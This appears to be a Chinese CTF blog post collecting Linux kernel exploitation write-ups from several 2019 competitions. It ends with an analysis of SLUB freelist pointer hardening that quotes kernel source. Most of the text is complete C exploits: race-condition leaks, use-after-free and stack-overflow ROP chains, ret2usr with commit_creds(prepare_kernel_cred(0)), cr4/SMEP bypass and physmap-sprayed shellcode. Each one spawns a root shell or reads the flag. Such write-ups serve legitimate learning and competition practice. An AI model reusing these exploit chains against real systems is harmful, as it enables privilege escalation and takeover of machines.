/ # $ source ./flag
source ./flag
-/bin/sh: ./flag: line 1: de1ctf{RaCE_C0nd1ti0n_For_FUN}: not found
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <string.h>
#include <signal.h>
#include <pthread.h>
#include <stdlib.h>
int tmp;

#define TEST_READ 0x23333
#define TEST_WRITE 0x23334
#define TEST_DEL 0x23335

struct command{
unsigned long size;
char* context;
};

void test_r(int fd, unsigned long size ,char* context){
struct command command;
command.size = size;
command.context = context;
ioctl(fd, TEST_READ, &command);
}

void test_w(int fd ,unsigned long size ,char* context){
struct command command;
command.size = size;
command.context = context;
ioctl(fd, TEST_WRITE, &command);
}

void test_d(int fd){
struct command command;
ioctl(fd, TEST_DEL, &command);
}

char *addr1;
char *addr2;
char *addr3;
int fd;
int fd2;
fuck = 0x300;
void *child(void *arg) {
for(int i=0;i<0x280;i++){
fuck++;
test_r(fd,fuck,addr2);
}
pthread_exit(NULL);
}

void *child2(void *arg) {
for(int i=0;i<0x280;i++){
fuck++;
test_r(fd,fuck,addr2);
}
pthread_exit(NULL);
}

void *child3(void *arg) {
for(int i=0;i<0x380;i++){
if(fuck>0x400){
fuck = 0x300;
test_d(fd);
}
fuck++;
test_r(fd,fuck,addr2);
}
pthread_exit(NULL);
}


int main(){
addr1 = (void*)mmap((void*)0x1234000,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0);
addr2 = (void*)mmap((void*)0x1235000,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0);
addr3 = (void*)mmap((void*)0x1236000,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0);
unsigned long *test1;
unsigned long *test2;
unsigned long *test3;
unsigned long pgd_addr=0;
unsigned long page_offset_base=0;
unsigned long now_buffer=0;
fd = open("/dev/test",O_RDONLY);
fd2 = open("/dev/test",O_RDONLY);
memset(addr1,0,0x1000);
memset(addr2,0x41,0x1000);
memset(addr3,0,0x1000);
int check = 0;
int success_index = 0;
test1 = addr1;
test2 = addr2;
test3 = addr3;
pthread_t t1,t2,t3;
while(1){
pthread_create(&t1, NULL, child, "Child");
pthread_create(&t2, NULL, child2, "Child");
pthread_create(&t3, NULL, child3, "Child");
for(int i=0;i<0x400;i++){
test_w(fd,0x300,addr1);
for(int j=0;j<=0x100;j++){
if(*(test1+j) != 0x4141414141414141 && *(test1+j)){
printf("%p = %p\n",test1+j,*(test1+j));
success_index = 1;
}
}
if(success_index){
break;
}
}

pthread_join(t1,NULL);
pthread_join(t2,NULL);
pthread_join(t3,NULL);
if(success_index){
break;
}
}

}

2019KCTF_T11:绝地反击

思路:

这题我做完都不知道他逻辑是什么意思。。。一顿操作猛如虎,给了八个选项,理清楚以后就是一个UAF。。。我透。

不过5.2.0kernel还是有不少小坑的。请自己尝试解决吧。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

#define NEW 0x1336
#define Y_DEADBEEF 0x1338
#define N_DEADBEEF 0x1339
#define COPY 0x1337
#define UAF 0x133D
#define SHOW 0x133B
#define EDIT 0x133A

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(0);
}
}

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}


int main(){
save();
signal(SIGSEGV,get_shell);

int t[10] = {0};
for(int i = 0;i < 10;i++)
{
t[i] = open("/dev/ptmx",O_RDWR);
if (t[i] == -1){
puts("[:(]open ptmx error");
exit(-1);
}
}
for (int i = 0;i < 10;i++)
close(t[i]);


int fd = open("/dev/kpwn",O_RDONLY);
if(fd < 0){
puts("[:(]open error...");
exit(0);
}

ioctl(fd,NEW,0);
ioctl(fd,NEW,0);
ioctl(fd,NEW,0);
ioctl(fd,NEW,0);

ioctl(fd,Y_DEADBEEF,1);
size_t* buf = malloc(0x18);
buf[0] = 1;
buf[1] = 0;
ioctl(fd,COPY,buf);
ioctl(fd,N_DEADBEEF,1);
ioctl(fd,Y_DEADBEEF,2);

buf[0] = 2;
buf[1] = 1;
buf[2] = 0;
ioctl(fd,UAF,buf);
//------------------------------------------------------
int ptmx_fd = open("/dev/ptmx",2);
if(ptmx_fd < 0){
puts("[:(]open ptmx error...");
exit(0);
}

size_t* user_buf = malloc(0x300);
buf[0] = 0;
buf[1] = (size_t)user_buf;
buf[2] = 0x300;
ioctl(fd,SHOW,buf);

size_t kernel_base = user_buf[3] - 0x6280e0;
size_t heap_base = user_buf[2] - 0x189a80;
printf("[:)]kernel_base = %p\n",kernel_base);
printf("[:)]heap_base = %p\n",heap_base);
size_t prepare_kernel_cred = kernel_base + 0x4f050;
size_t commit_creds = kernel_base + 0x4f210;

user_buf[3] = heap_base + 0xe8d2400;
ioctl(fd,EDIT,buf);

buf[0] = 3;
buf[1] = 1;
ioctl(fd,COPY,buf);
buf[0] = 1;
buf[1] = (size_t)user_buf;
buf[2] = 0x300;
memset(user_buf,'\x00',0x300);
user_buf[0] = kernel_base + 0x402c94;
user_buf[1] = heap_base + 0xe8d2400 + 0x280;
user_buf[7] = kernel_base + 0x200f86;
user_buf[0x280/8] = kernel_base + 0x354a0;
user_buf[0x280/8+1] = 0;
user_buf[0x280/8+2] = prepare_kernel_cred;
user_buf[0x280/8+3] = kernel_base + 0x1dd069;
user_buf[0x280/8+4] = 0xdeadbeef;
user_buf[0x280/8+5] = commit_creds;
user_buf[0x280/8+6] = kernel_base + 0x200c2e;
user_buf[0x280/8+7] = 0;
user_buf[0x280/8+8] = 0xdeadbeef;
user_buf[0x280/8+9] = kernel_base + 0x1a306;
user_buf[0x280/8+10] = (size_t)get_shell;
user_buf[0x280/8+11] = user_cs;
user_buf[0x280/8+12] = user_rflags;
user_buf[0x280/8+13] = user_rsp;
user_buf[0x280/8+14] = user_ss;
//0xffffffff811dd069: mov rdi, rax; mov qword ptr [rdi], 1; pop rbp; ret;
//0xffffffff81200c2e: swapgs; popfq; pop rbp; ret;
//0xffffffff8101a306: iretq; pop rbp; ret;
ioctl(fd,EDIT,buf);

memset(buf,'\x00',8);
write(ptmx_fd,buf,8);

return 0;
}

x1.PNG

2019XMAN_babykernel

思路:

这题貌似出坏了??开始一直卡在readunlock_ioctl里,read我不知道怎么传第四个参数,unlock_ioctl第一个参数一顿骚操作也没看懂,开始一直想着泄露然后ROP,然后就一直卡住,结果后来发现没开kaslr,开kaslrkaslraslrslrlrr。。。我在想当时只有两解是不是大家也都没看到这个条件??

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(0);
}
}

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

size_t commit_creds = 0xffffffff81077620;
size_t prepare_kernel_cred = 0xffffffff810779b0;
size_t get_shell_addr = (size_t)get_shell;
void su(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));

__asm__(
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push get_shell_addr;"
"swapgs;"
"iretq;"
);
}

int main(){
save();
int fd = open("/dev/mychrdev",2);
if(fd < 0){
puts("[:(]open mychrdev error...");
exit(0);
}

size_t* buf = malloc(0x100);
memset(buf,'\x00',0x100);
buf[11] = 0xffffffff8101b51c;
buf[12] = 0x6f0;
buf[13] = 0xffffffff810261c2;
buf[14] = (size_t)su;
write(fd,buf,0x100);

return 0;
}

2019Xnuca_babykernel

思路:

这题是涨了新姿势的一题,再次膜NESE的巨佬们,仍然是5.2.0kernel,虽然我最后成功跳到shellcode,也回到了用户态,但是没有成功getshell,还是报错了。。。还有待探究。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

struct control_flow_hijack_primitive{
size_t rax;
size_t rbx;
size_t rcx;
size_t rdx;
size_t rsi;
size_t rdi;
size_t rsp;
size_t rbp;
size_t r8;
size_t r9;
size_t r10;
size_t r11;
size_t r12;
size_t r13;
size_t r14;
size_t r15;
size_t rip;
size_t reset_all;
}*user_ptr;

size_t regcache_mark_dirty = 0xffffffff81608250;
size_t prepare_kernel_cred = 0xffffffff81087130;
size_t commit_creds = 0xffffffff81086e20;
size_t mp_size = 1024*64;
size_t spray_times = 32*64;
size_t set_memory_x = 0xffffffff81056ca0;
size_t guess_physmap = 0xffff888007a72000;

//set_memory_rw = 0xffffffff810573b0
size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

void get_shell()
{
if(getuid() == 0){
puts("[:)]root now!!!");
char* args[2] = {"/bin/sh", NULL};
execv("/bin/sh", args);
}
else{
puts("[:(]not root...");
exit(0);
}
}


int main(){
save();
signal(SIGSEGV,get_shell);

int fd = open("/dev/osok",O_RDWR);
if(fd < 0){
puts("[:(]open error...");
exit(0);
}

char* shellcode = malloc(0x100);
memset(shellcode,'\x90',0x100);
char* tmp = shellcode;
*(unsigned short *)tmp = 0x9090;
tmp += 2;
*(unsigned long *)tmp = 0x90ff3148;
tmp += 3;
*(unsigned short *)tmp = 0xb848;
tmp += 2;
*(unsigned long *)tmp = prepare_kernel_cred;
tmp += 8;
*(unsigned short *)tmp = 0xd0ff;
tmp += 2;
*(unsigned long *)tmp = 0x90c78948;
tmp += 3;
*(unsigned short *)tmp = 0xb848;
tmp += 2;
*(unsigned long *)tmp = commit_creds;
tmp += 8;
*(unsigned short *)tmp = 0xd0ff;
tmp += 2;
*(unsigned int *)tmp = 0xf0c7c748; //mov rdi,0x6f0;
tmp += 4;
*(unsigned char *)tmp = 0x06;
tmp += 1;
*(unsigned short*)tmp = 0x0;
tmp += 2;
*(unsigned short*)tmp = 0x220f; //mov cr4,rdi;
tmp += 2;
*(unsigned char*)tmp = 0xe7;
tmp += 1;
*(unsigned char*)tmp = 0x6a; //push user_ss
tmp += 1;
*(unsigned char*)tmp = (unsigned char)user_ss;
tmp += 1;
*(unsigned short *)tmp = 0xB848; //push user_rsp
tmp += 2;
*(unsigned long *)tmp = user_rsp;
tmp += 8;
*(unsigned char *)tmp = 'P';
tmp += 1;
*(unsigned char*)tmp = 0x68; //push rflags
tmp += 1;
*(unsigned int*)tmp = (unsigned int)user_rflags;
tmp += 4;
*(unsigned char*)tmp = 0x6a; //push user_cs
tmp += 1;
*(unsigned char*)tmp = (unsigned char)user_cs;
tmp += 1;
*(unsigned char*)tmp = 0x68; //push get_shell
tmp += 1;
*(unsigned int*)tmp = (unsigned int)get_shell;
tmp += 4;
*(unsigned short*)tmp = 0x010f; //swapgs;
tmp += 2;
*(unsigned char*)tmp = 0xf8;
tmp += 1;
*(unsigned short*)tmp = 0xcf48; //iretq;
tmp += 2;

//-----------------------------------------------------------------------------
char * pp = mmap(0x100000, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,-1, 0);
int i,num;
char *mp;
char *p;
for (i = 0; i < spray_times; i++)
{
if ((p = mmap(NULL, mp_size, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0 )) == MAP_FAILED){
puts("[:(]mmap error...");
exit(-1);
}
for (num = 0; num < 64; num++)
{
mp = p + num * 1024;
*((unsigned long *)&mp[0x30]) = guess_physmap+0x40;
*((unsigned long *)&mp[0x20]) = 0xffffffff8153588e;
*((unsigned long *)&mp[0xe0]) = 0;
*((unsigned long *)&mp[0x8]) = guess_physmap+0x70;
*((unsigned long *)&mp[0x9e]) = regcache_mark_dirty+1;
*((unsigned long *)&mp[0x70]) = guess_physmap; //set_memory_x first arg
*((unsigned long *)&mp[0x60]) = set_memory_x;
*((unsigned long *)&mp[0x68]) = guess_physmap+0x100; //return address
*((unsigned long *)&mp[0x270]) = 0xffffffff810a9114;
memcpy(mp+0x100,shellcode,0x100);
}
}
//-----------------------------------------------------------------------------
user_ptr = malloc(0x90);
user_ptr->rdi = guess_physmap;
user_ptr->rip = regcache_mark_dirty;
ioctl(fd,1337,user_ptr);

sleep(1000);
return 0;
}

/*
0xffffffff81608250: push rbx
0xffffffff81608251: mov rbx,rdi
0xffffffff81608251: mov rbx,rdi
0xffffffff81608254: mov rdi,QWORD PTR [rdi+0x30]
0xffffffff81608258: mov rax,QWORD PTR [rbx+0x20]
=> 0xffffffff8160825c: call 0xffffffff81e00f20
Guessed arguments:
arg[0]: 0xffff888007a72040 --> 0x0

jmp rax //rax = 0xffffffff8153588e
//rdi = guest_phymap+0x40
//rbx = guest_phymap

=> 0xffffffff8153588e: mov rdx,QWORD PTR [rbx+0xe0]
0xffffffff81535895: mov rsi,QWORD PTR [rbx+0x8] //rsi = [guest_phymap+0x8] = guest_phymap+0x70
0xffffffff81535899: pop rbx //rbx = xxx
0xffffffff8153589a: pop rbp
0xffffffff8153589b: pop r12
0xffffffff8153589d: mov rax,QWORD PTR [rdi+0x230] //rax = [guest_phymap+0x270]
0xffffffff815358a4: jmp 0xffffffff81e00f20

jmp rax //rax = 0xffffffff810a9114
//rdi = phymap+0x40
//rsi = phymap+0x70

0xffffffff810a9114: sti
0xffffffff810a9115: jmp QWORD PTR [rsi+0x2e]

jmp [phymap+0x9e] //0xffffffff81608251
//rdi = phymap+0x40

=> 0xffffffff81608251: mov rbx,rdi
0xffffffff81608254: mov rdi,QWORD PTR [rdi+0x30]
0xffffffff81608258: mov rax,QWORD PTR [rbx+0x20]
0xffffffff8160825c: call 0xffffffff81e00f20
*/

https://0xffff.one/d/346

2019xctf新春战疫_babyhacker2

exp十分钟,上传两小时。。。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

size_t prepare_kernel_cred = 0;
size_t commit_creds = 0;

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

void get_shell(){

char buf[0x50] = {0};

int fd = open("/flag",0);
read(fd,buf,0x50);
write(1,buf,0x50);
}

size_t get_shell_addr = (size_t)get_shell;
void su(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));

__asm__(
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push get_shell_addr;"
"swapgs;"
"iretq;"
);
}

int main(){
save();
signal(SIGSEGV,get_shell);

int fd = open("/dev/babyhacker",0);
if(fd < 0){
puts("[:(]error...");
exit(0);
}

char* user_buf = malloc(0x100000);
if(user_buf == 0){
puts("[:(]malloc error...");
exit(0);
}

ioctl(fd,0x30000,-1);
ioctl(fd,0x30002,user_buf);

size_t vmbase = *((size_t*)user_buf+42);
vmbase -= 0x219218;
size_t canary = *((size_t*)user_buf+40);
printf("[:)]vmbase = %p\n",vmbase);
printf("[:)]canary = %p\n",canary);
prepare_kernel_cred = vmbase+0xa1820;
commit_creds = vmbase+0xa1430;

//0xffffffff81004d70: mov cr4, rdi; pop rbp; ret;
//0xffffffff8109054d: pop rdi; ret;
//0xffffffff810636b4: swapgs; pop rbp; ret;
//0xffffffff821d89f7: iretq; sub eax, 0xfffffec9; pop rbp; ret;
//0xffffffff810def79: mov rdi, rax; call rdx;
//0xffffffff81083f22: pop rdx; ret;
//0xffffffff814d642f
memset(user_buf,'\x00',0x1000);
*((size_t*)user_buf+0x140/8) = canary;
*((size_t*)user_buf+0x150/8) = vmbase+0x9054d;
*((size_t*)user_buf+0x158/8) = 0x6f0;
*((size_t*)user_buf+0x160/8) = vmbase+0x4d70;
*((size_t*)user_buf+0x168/8) = 0;
*((size_t*)user_buf+0x170/8) = (size_t)su;
ioctl(fd,0x30001,user_buf);

return 0;
}

2019xctf新春战疫_kernoob

分析:

这题当时比赛时我断断续续花了接近一天时间耗在上面,主要是因为方向一直不明确,有点像解cookie,又有点像double fetch,又听说有非预期。。。然后开始每一个都不坚定,后来决定尝试double fetch,但是我试了快一百次都没竞争成功一次,虽然理论是可以竞争成功的,但是我真的对这个方法的可行性产生了怀疑???,即使不考虑竞争因素可以出,这个概率也不知道什么时候可以跑出来。。。导致我的信念不是很坚定,最后一天晚上身体也顶不住,后来就被我爸吵着去睡觉了。。。

在赛中和17学长交流以及赛后学习其他队的exp的过程中,学到了很多姿势。。。

这题的预期解应该是double fetch,因为flag中含有race字样,但是这个概率是真的感人,看到除了直接看本地flag之外的正常解都是用的解cookie的方法,其中Kirin师傅的wp写的较为详细,让我学到了很多orz,跪谢。

首先是chunkfd位置这个加密的来源如下:

linux kernel 4.14 released this month;
Kees Cook: “a bunch of security features I’m excited about”
relevant PATCH 0: add a naive detection of double free or corruption 这个补丁, 在进行连续的kfree的时候会起作用终止当前进程. 但是如果在连续的kfree之间其他进程kfree了相邻的一些对象, 导致page->freelist改写, 补丁无作用.
relevant PATCH 1: add SLUB free list pointer obfuscation 这个补丁, 将写入对象首地址(s->offset=0)的数据进行异或, 在申请对象的时候进行逆运算得到下一个申请的对象的位置.
relevant PATCH 2: prefetch next freelist pointer in slab_alloc 这个补丁, 会在申请一个对象的时候, 得到下一个可以申请的对象的位置, 同时对下一个对象保存的异或数据进行逆运算, 然后检测那个位置是否合法.

通过篡改fd指针产生的报错我们得知错误发生在mm/slub.c文件里,然后查看源码,进行分析。

查看source/mm/slub.c源码,在freelist_ptr函数中找到了xor加密的字样,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/********************************************************************
* Core slab cache functions
*******************************************************************/

/*
* Returns freelist pointer (ptr). With hardening, this is obfuscated
* with an XOR of the address where the pointer is held and a per-cache
* random number.
*/
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
return ptr;
#endif
}

然后查看__kmalloc函数源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *__kmalloc(size_t size, gfp_t flags)
{
struct kmem_cache *s;
void *ret;

if (unlikely(size > KMALLOC_MAX_CACHE_SIZE))
return kmalloc_large(size, flags);

s = kmalloc_slab(size, flags); //通过size获取对应的kmem_cache

if (unlikely(ZERO_OR_NULL_PTR(s)))
return s;

ret = slab_alloc(s, flags, _RET_IP_); //通过kmem_cache获取指针

trace_kmalloc(_RET_IP_, ret, size, s->size, flags);

kasan_kmalloc(s, ret, size, flags);

return ret; //将指针返回给用户
}
EXPORT_SYMBOL(__kmalloc);

source/mm/slab_common.c中查看kmalloc_slab源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
* Find the kmem_cache structure that serves a given size of
* allocation
*/
struct kmem_cache *kmalloc_slab(size_t size, gfp_t flags)
{
int index;

if (unlikely(size > KMALLOC_MAX_SIZE)) {
WARN_ON_ONCE(!(flags & __GFP_NOWARN));
return NULL;
}

if (size <= 192) { //用size确定index
if (!size)
return ZERO_SIZE_PTR;

index = size_index[size_index_elem(size)];
} else
index = fls(size - 1);

#ifdef CONFIG_ZONE_DMA
if (unlikely((flags & GFP_DMA)))
return kmalloc_dma_caches[index];

#endif
return kmalloc_caches[index]; //将对应index的kmem_cache返回给__kmalloc
}

mm/slub.c中查看slab_alloc源码:

1
2
3
4
5
static __always_inline void *slab_alloc(struct kmem_cache *s,
gfp_t gfpflags, unsigned long addr)
{
return slab_alloc_node(s, gfpflags, NUMA_NO_NODE, addr);
}

slab_alloc_node源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/* 
* Inlined fastpath so that allocation functions (kmalloc, kmem_cache_alloc)
* have the fastpath folded into their functions. So no function call
* overhead for requests that can be satisfied on the fastpath.
*
* The fastpath works by first checking if the lockless freelist can be used.
* If not then __slab_alloc is called for slow processing.
*
* Otherwise we can simply pick the next object from the lockless free list.
*/
static __always_inline void *slab_alloc_node(struct kmem_cache *s,
gfp_t gfpflags, int node, unsigned long addr)
{
void *object;
struct kmem_cache_cpu *c;
struct page *page;
unsigned long tid;

s = slab_pre_alloc_hook(s, gfpflags);
if (!s)
return NULL;
redo:
/*
* Must read kmem_cache cpu data via this cpu ptr. Preemption is
* enabled. We may switch back and forth between cpus while
* reading from one cpu area. That does not matter as long
* as we end up on the original cpu again when doing the cmpxchg.
*
* We should guarantee that tid and kmem_cache are retrieved on
* the same cpu. It could be different if CONFIG_PREEMPT so we need
* to check if it is matched or not.
*/
do {
tid = this_cpu_read(s->cpu_slab->tid);
c = raw_cpu_ptr(s->cpu_slab); //获取kmem_cache_cpu结构体指针
} while (IS_ENABLED(CONFIG_PREEMPT) &&
unlikely(tid != READ_ONCE(c->tid)));

/*
* Irqless object alloc/free algorithm used here depends on sequence
* of fetching cpu_slab's data. tid should be fetched before anything
* on c to guarantee that object and page associated with previous tid
* won't be used with current tid. If we fetch tid first, object and
* page could be one associated with next tid and our alloc/free
* request will be failed. In this case, we will retry. So, no problem.
*/
barrier();

/*
* The transaction ids are globally unique per cpu and per operation on
* a per cpu queue. Thus they can be guarantee that the cmpxchg_double
* occurs on the right processor and that there was no operation on the
* linked list in between.
*/

object = c->freelist; //获取freelist
page = c->page;
if (unlikely(!object || !node_match(page, node))) {
object = __slab_alloc(s, gfpflags, node, addr, c);
stat(s, ALLOC_SLOWPATH);
}
else {
void *next_object = get_freepointer_safe(s, object);//调用get_freepointer_safe,通过object获取next_object

/*
* The cmpxchg will only match if there was no additional
* operation and if we are on the right processor.
*
* The cmpxchg does the following atomically (without lock
* semantics!)
* 1. Relocate first pointer to the current per cpu area.
* 2. Verify that tid and freelist have not been changed
* 3. If they were not changed replace tid and freelist
*
* Since this is without lock semantics the protection is only
* against code executing on this cpu *not* from access by
* other cpus.
*/
if (unlikely(!this_cpu_cmpxchg_double(
s->cpu_slab->freelist, s->cpu_slab->tid,
object, tid,
next_object, next_tid(tid)))) {

note_cmpxchg_failure("slab_alloc", s, tid);
goto redo;
}
prefetch_freepointer(s, next_object);//调用prefetch_freepointer,检测next_objext的next_object是否合法
stat(s, ALLOC_FASTPATH);
}

if (unlikely(gfpflags & __GFP_ZERO) && object)
memset(object, 0, s->object_size);

slab_post_alloc_hook(s, gfpflags, 1, &object);

return object;
}

查看mm/slub.cget_freepointer_safe源码,发现其中调用了freelist_ptr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static inline void *get_freepointer_safe(struct kmem_cache *s, void *object)
{
unsigned long freepointer_addr;
void *p;

if (!debug_pagealloc_enabled())
return get_freepointer(s, object);

freepointer_addr = (unsigned long)object + s->offset;
probe_kernel_read(&p, (void **)freepointer_addr, sizeof(p));
return freelist_ptr(s, p, freepointer_addr);
}
//-----------------------------------------------------------------------------------------------
static inline void *get_freepointer(struct kmem_cache *s, void *object)
{
return freelist_dereference(s, object + s->offset);
}

/* Returns the freelist pointer recorded at location ptr_addr. */
static inline void *freelist_dereference(const struct kmem_cache *s,
void *ptr_addr)
{
return freelist_ptr(s, (void *)*(unsigned long *)(ptr_addr),
(unsigned long)ptr_addr);
}
//-----------------------------------------------------------------------------------------------
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
return ptr;
#endif
}

查看mm/slub.cprefetch_freepointer,其中调用了freelist_dereference,再调用了freelist_ptr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static void prefetch_freepointer(const struct kmem_cache *s, void *object)
{
if (object)
prefetch(freelist_dereference(s, object + s->offset));
}

/* Returns the freelist pointer recorded at location ptr_addr. */
static inline void *freelist_dereference(const struct kmem_cache *s,
void *ptr_addr)
{
return freelist_ptr(s, (void *)*(unsigned long *)(ptr_addr),
(unsigned long)ptr_addr);
}

static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
return ptr;
#endif
}

下载源码放进IDA看了一下,在__kmalloc函数中果然有xor的地方:

x2.PNG

解法一:

Kirin师傅的wp学习一波。关于源码的分析都已经写在上面了。

http://nextcloud.chamd5.org/index.php/s/EYTZB4zgtqsfcge#pdfviewer

思路:

目的是控制pool,然后任意地址写,实施过程中有两个关键点:

  1. leak cookie
  2. bypass prefetcht0 byte ptr [rbx]

cookie其实有两种办法泄露,一种是直接看源码,另一种是free两个已知地址的堆块,然后利用uaf来读fd位置的值,再经过xor运算得cookie。需要注意的是不同size(指2的次方不同)的chunk的cookie是不同的,但是同一sizecookie是永远不变的。也就是一个kmem_cache一个cookie。至于泄露堆地址,则需要一些几率,exp常常会分配到在offset=0x28的位置存有self_addr+0x28的值的chunk,应该是某一种特殊的chunk留下的脏数据,可利用这一点来泄露堆地址。并为后面伪造fake_chunk做好准备。

